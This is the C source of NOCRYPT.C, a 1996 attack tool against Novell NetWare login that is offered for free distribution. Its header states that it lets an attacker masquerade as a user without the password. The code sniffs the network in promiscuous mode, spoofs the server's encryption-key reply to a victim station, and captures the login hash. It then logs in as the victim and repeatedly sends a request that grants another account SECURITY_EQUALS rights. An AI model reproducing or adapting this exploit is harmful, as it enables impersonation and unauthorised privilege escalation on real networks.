NOCRYPT.C
Program Source Code
/*This program was written and released on September 27,
1996 by Greg Miller*/
/*NOCRYPT.C
This program allows an attacker to masquerade as a user
whithout knowing the
user's password. For more information on using the
program see NOCRYPT.DOC.
For more information on how the attack works, see ATTACK.DOC
*/
/*(C) 1996 by Greg Miller*/
/*Distribute freely*/
#include <stdio.h>
#include <string.h>
#define TRUE -1
#define FALSE 0
#define PACKET_TYPE 19
#define FUNCTION_CODE 50
#define SUBFUNC_CODE 53
#define KEY_OFFSET 54
typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;
BYTE username[20] = "GUEST"; //user to gain
rights
BYTE membername[20] = "GMILLER"; //user rights
to gain
BYTE server_network[4] = {0,0,0,15}; //server INTERNAL
net
BYTE server_addr[6] = {0x00,0xa0,0x24,0x18,0x34,0x05};
//closest router addr
BYTE my_network[4] = {0xd6,0xe2,0x5f,0xbe}; //0000 won't
work
BYTE my_addr[6] = {0x00,0x60,0x8c,0xc9,0x74,0x83}; //my
address
BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21};
//addr to spoof
BYTE my_seq_no = 1;
BYTE my_con_no;
BYTE login_key[8];
int DataRemaining = TRUE;
int x;
BYTE packet[2000];
BYTE SendPacket[2000];
BYTE to_server[100];
WORD handle;
int packet_received = FALSE;
int NotDone = TRUE;
int c;
WORD pktlen;
WORD Sendpktlen;
WORD to_server_len;
void Initialize(){
}
static void far PacketReceived(){
/*This function is called by the packet driver when a
packet is
received. If AX=0 when the function is called, the packet
driver
is asking for a buffer to put the packet in. If AX=1 then
the
packet has been copied into the buffer.
*/
_asm{
pop di //Borland C 3.1 pushes DI for some reason.
//Remove this line if your compiler doesn't.
cmp ax,1 //ax=0 for get buffer or 1 when done
jz copy_done
mov ax,seg packet
mov ES,ax
lea DI,packet
mov cx,2000 //buffer length
retf
}
copy_done:
packet_received = TRUE;
pktlen=_CX;
_asm{retf}
end:
}
void RegisterWithPKTDRV(){
/*This function registers the "protocol stack"
with the packet
driver. We give it the address of the function to call
when
a packet is received in ES:DI, the interface class in AL,
and
the interface type in BX. DS:SI should point to the type
of
packets to receive, with the length of the type in CX,
however,
we'll just receive any type of packet so we leave DS:SI
alone
and make CX=0.
We get a handle back from the INT 60h call in AX, we'll
store
it for later use.
*/
_asm {
pusha
mov bx,0ffffh //Wild card for all interfaces
mov dl,0
mov cx,0 //receive any type of packet
mov ax, seg PacketReceived
mov es,ax
lea di, PacketReceived
mov ah,02
mov al,01 //class type for 3com 509
int 60h
jc err
mov handle,ax
popa
}
printf("Registered with packet driver\r\n");
return;
err:
printf("Error registering stack: %d\r\n",_DH);
_asm{popa}
}
void RelinquishProtocolStack(){
/* Relinqush control of the interface */
/*Release Type*/
_asm{ pusha
mov ah,3
mov bx,handle
int 60h
jc err
}
/*Terminate driver for handle*/
_asm{
mov ah,5
mov bx,handle
int 60h
jc err
popa
}
printf("Stack Relinqushed\r\n");
return;
err:
printf("Error releasing Stack: %d",_DH);
}
void SetReceiveMode(WORD mode){
/*This function puts the board in the specified mode by
putting the
receive mode in CX and the handle in BX. Mode 6 is
promiscuous
and mode 2 is normal.
*/
_asm{
pusha
mov ah,14h
mov bx,handle
mov cx,mode
int 60h
jc err
popa
}
printf("Mode set to %d\r\n",mode);
return;
err:
printf("Error entering promiscuous mode:
%d\r\n",_DH);
_asm{popa}
}
void printhex(BYTE d){
BYTE temp;
_asm{
mov al,d
shr al,1
shr al,1
shr al,1
shr al,1
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c",temp);
_asm{
mov al,d
and al,0fh
add al,90h
daa
adc al,40h
daa
}
temp=_AL;
printf("%c ",temp);
}
void SendPack(){
_asm{ pusha
mov ax,seg SendPacket
mov ds,ax
lea si,SendPacket
mov cx,Sendpktlen
mov ah,04
int 60h
jc err
popa
}
// printf("Sending:\r\n");
// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");
return;
err:
printf("Error sending packet: %d\r\n",_DH);
_asm{popa}
}
void SendEncryptionKeyReply(){
memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr
//Put 802.3 length here.
SendPacket[12]=00;
SendPacket[13]=0x2e;
memcpy(SendPacket+20,packet+32,12); //Copy dest
addr,net,sock
memcpy(SendPacket+32,packet+20,12); //Copy src
addr,net,sock
SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
SendPacket[16]=0;SendPacket[17]=0x2e; //IPX Length
SendPacket[18]=1; //Hop Count
SendPacket[19]=17; //Packet type = NCP
SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
memcpy(SendPacket+46,packet+46,4); //Seq num,con
num,task,con num hi
SendPacket[50]=0; //Completion code
SendPacket[51]=0; //Connection Status
memcpy(SendPacket+52,login_key,8); //Key
Sendpktlen = 60;
// printf("Spoofing Encryption Key Reply\r\n");
SendPack();
}
void WaitForPacket(){
while(!packet_received){
}
// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");
packet_received=FALSE;
}
void WaitForStationLoginRequest(){
/*Discard first GetLoginKey()*/
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17) &&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==23)){
NotDone = FALSE;
}
}
WaitForPacket();
/*Wait for login key request and spoof it*/
NotDone=TRUE;
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17) &&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==23)){
NotDone = FALSE;
}
}
SendEncryptionKeyReply();
/*Wait for login request and pull hash out*/
NotDone = TRUE;
while(NotDone){
WaitForPacket();
if((memcmp(packet+6,SpoofStation,6)==0) &&
(packet[PACKET_TYPE]==17) &&
(packet[FUNCTION_CODE]==23) &&
(packet[SUBFUNC_CODE]==24)){
NotDone = FALSE;
}
}
memcpy(login_key,packet+KEY_OFFSET,8);
printf("Hash Received\r\n");
for(c=0;c<8;c++){printhex(login_key[c]);}
printf("\r\n");
}
void SendToServer(){
_asm{ pusha
mov ax,seg to_server
mov ds,ax
lea si,to_server
mov cx,to_server_len
mov ah,04
int 60h
jc err
popa
}
// printf("Sending:\r\n");
//
for(c=0;c<to_server_len;c++){printhex(to_server[c]);}
// printf("\r\n");
return;
err:
printf("Error sending packet: %d\r\n",_DH);
_asm{popa}
printf("Sending packet\r\n");
}
void InitializePacket(){
memcpy(to_server,server_addr,6);//803.3 dest
memcpy(to_server+6,my_addr,6); //802.3 source
//802.3 length
to_server[14] = 0xff; to_server[15]= 0xff;
//ipx length
to_server[18] = 0; //hop count
to_server[19] = 17; //packet type
memcpy(to_server+20,server_network,4);
to_server[24] = 0; to_server[25] = 0;
to_server[26] = 0; to_server[27] = 0;
to_server[28] = 0; to_server[29] = 1;
to_server[30] = 0x04; to_server[31] = 0x51;
memcpy(to_server+32,my_network,4);
memcpy(to_server+36,my_addr,6);
to_server[42]=0x40; to_server[43]=0x05;
}
void AttachToServer(){
to_server[44] = 0x11; to_server[45]= 0x11; //request type
to_server[46] = 0; //sequence no.
to_server[47] = 0xff; //connection no.
to_server[12]=0; to_server[13]=38; //802.3 length
to_server[16]=0; to_server[17]=37; //ipx length
to_server_len=48;
SendToServer();
}
int GetConNumber(){
while(!((memcmp(packet,my_addr,6)==0) &&
(packet[46]==0))){}
if(packet[51]==0){
my_con_no=packet[47];
printf("Connected on con %d\r\n",my_con_no);
} else {
printf("Error connecting %d\r\n",packet[51]);
}
return -1;
}
void RequestLoginKey(){
to_server[12]=0; to_server[13]=40; //802.3 len
to_server[16]=0; to_server[17]=40; //IPX len
to_server[44]=0x22; to_server[45]=0x22; //request type;
to_server[46]=my_seq_no; //sequence no.
to_server[47]=my_con_no; //connection no.
to_server[48]=1; //tast no.
to_server[49]=0; //conn no high
to_server[50]=23; //func code
to_server[51]=0; to_server[52]=1; //subfunc len
to_server[53]=23; //subfunc code
to_server_len=54;
SendToServer();
}
int GetLoginKey(){
int x;
while(!((memcmp(packet,my_addr,6)==0) &&
(packet[46]==my_seq_no))){}
if(packet[50]==0){
memcpy(login_key,packet+52,8);
printf("Retreived login key");
for(x=0;x<8;x++){printf("
%d",login_key[x]);}
printf("\r\n");
} else {
printf("Error getting login key
%d\r\n",packet[50]);
}
my_seq_no++;
return -1;
}
/*-----------------------------
void WaitForLoginRequest(){
while(!((memcmp(packet,spoof_addr,6)==0) &&
(packet[44]==0x22) &&
(packet[45]==0x22) && (packet[50]==23) &&
(packet[53]==23))){}
}
-------------------------------
void SpoofKeyReply(){
memcpy(send_packet,packet+6,6);
memcpy(send_packet+6,packet,6);
send_packet[12]=0; send_packet[13]=46;
send_packet[14]=0xFF; send_packet[15]=0xFF;
send_packet[16]=0; send_packet[17]=46;
send_packet[18]=0;
send_packet[19]=17;
memcpy(send_packet+20,packet+31,12);
memcpy(send_packet+32,packet+19,12);
send_packet[44]=0x33; send_packet[45]=0x33;
memcpy(send_packet+46,packet+46,4);
send_packet[50]=0;
send_packet[51]=0;
memcpy(send_packet+52,login_key,8);
SendPacket();
}
-------------------------------
void WaitForKeyedLoginRequest(){
int x;
while(!((memcmp(packet,spoof_addr,6)==0) &&
(packet[44]==0x22) &&
(packet[45]==0x22) && (packet[50]==23) &&
(packet[53]==24))){}
memcpy(login_key,packet+54,8);
printf("Got spoofed login key reply:");
for(x=0;x<7,x++) printf(" %d",login_key[x]);
printf("\r\n");
}
-------------------------------*/
void RequestKeyedLogin(){
BYTE objlen;
objlen=strlen(membername);
to_server[12]=0; to_server[13]=51+objlen; //802.3 len
to_server[16]=0; to_server[17]=51+objlen; //ipx len
to_server[44]=0x22; to_server[45]=0x22; //request type;
to_server[46]=my_seq_no; //sequence no.
to_server[47]=my_con_no; //connection no.
to_server[48]=1; //tast no.
to_server[49]=0; //conn no high
to_server[50]=23; //func code
to_server[51]=0; to_server[52]=12+objlen; //subfunc len
to_server[53]=24; //subfunc code
memcpy(to_server+54,login_key,8); //login key
to_server[62]=0; to_server[63]=1; //object type
to_server[64]=objlen; //object length
memcpy(to_server+65,membername,objlen); //object name
to_server_len=65+objlen;
SendToServer();
}
int GetKeyedLoginResults(){
while(!((memcmp(packet,my_addr,6)==0) &&
(packet[46]==my_seq_no))){}
if(packet[50]==0){
memcpy(login_key,packet+52,8);
printf("Logged in\r\n");
} else {
printf("Error logging in %d\r\n",packet[50]);
}
my_seq_no++;
return -1;
}
void GrantRights(){
BYTE objlen;
BYTE memlen;
objlen = strlen(username);
memlen = strlen(membername);
to_server[16]=0; to_server[17]=62+objlen+memlen;//IPX_len
to_server[12]=0; to_server[13]=to_server[17]; //802.3 len
to_server[44]=0x22;to_server[45]=0x22; //Request type
to_server[46]=my_seq_no; //Sequence No.
to_server[47]=my_con_no; //connection no.
to_server[48]=1; //Task no.
to_server[49]=0; //conn no. high
to_server[50]=23; //func code
to_server[51]=0; to_server[52]=23+objlen+memlen;//subfun
len
to_server[53]=65; //subfun code
to_server[54]=00; to_server[55]=1; //Object type
to_server[56]=objlen; //object len
memcpy(to_server+57,username,objlen); //object name
to_server[57+objlen]=15; //property len
memcpy(to_server+58+objlen,"SECURITY_EQUALS",15);//propertly
name
to_server[73+objlen]=0; to_server[74+objlen]=1; //member
type
to_server[75+objlen]=memlen; //member length
memcpy(to_server+76+objlen,membername,memlen); //member
name
printf("sublen %d\r\n",to_server[51]);
to_server_len=80+objlen+memlen;
for(x=0;x<100;x++) SendToServer();
}
void main(){
Initialize();
RegisterWithPKTDRV();
InitializePacket();
AttachToServer();
GetConNumber();
RequestLoginKey();
GetLoginKey();
SetReceiveMode(6); //Promiscuous mode
WaitForStationLoginRequest();
SetReceiveMode(2); //Normal mode
RequestKeyedLogin();
GetKeyedLoginResults();
GrantRights();
RelinquishProtocolStack();
}
|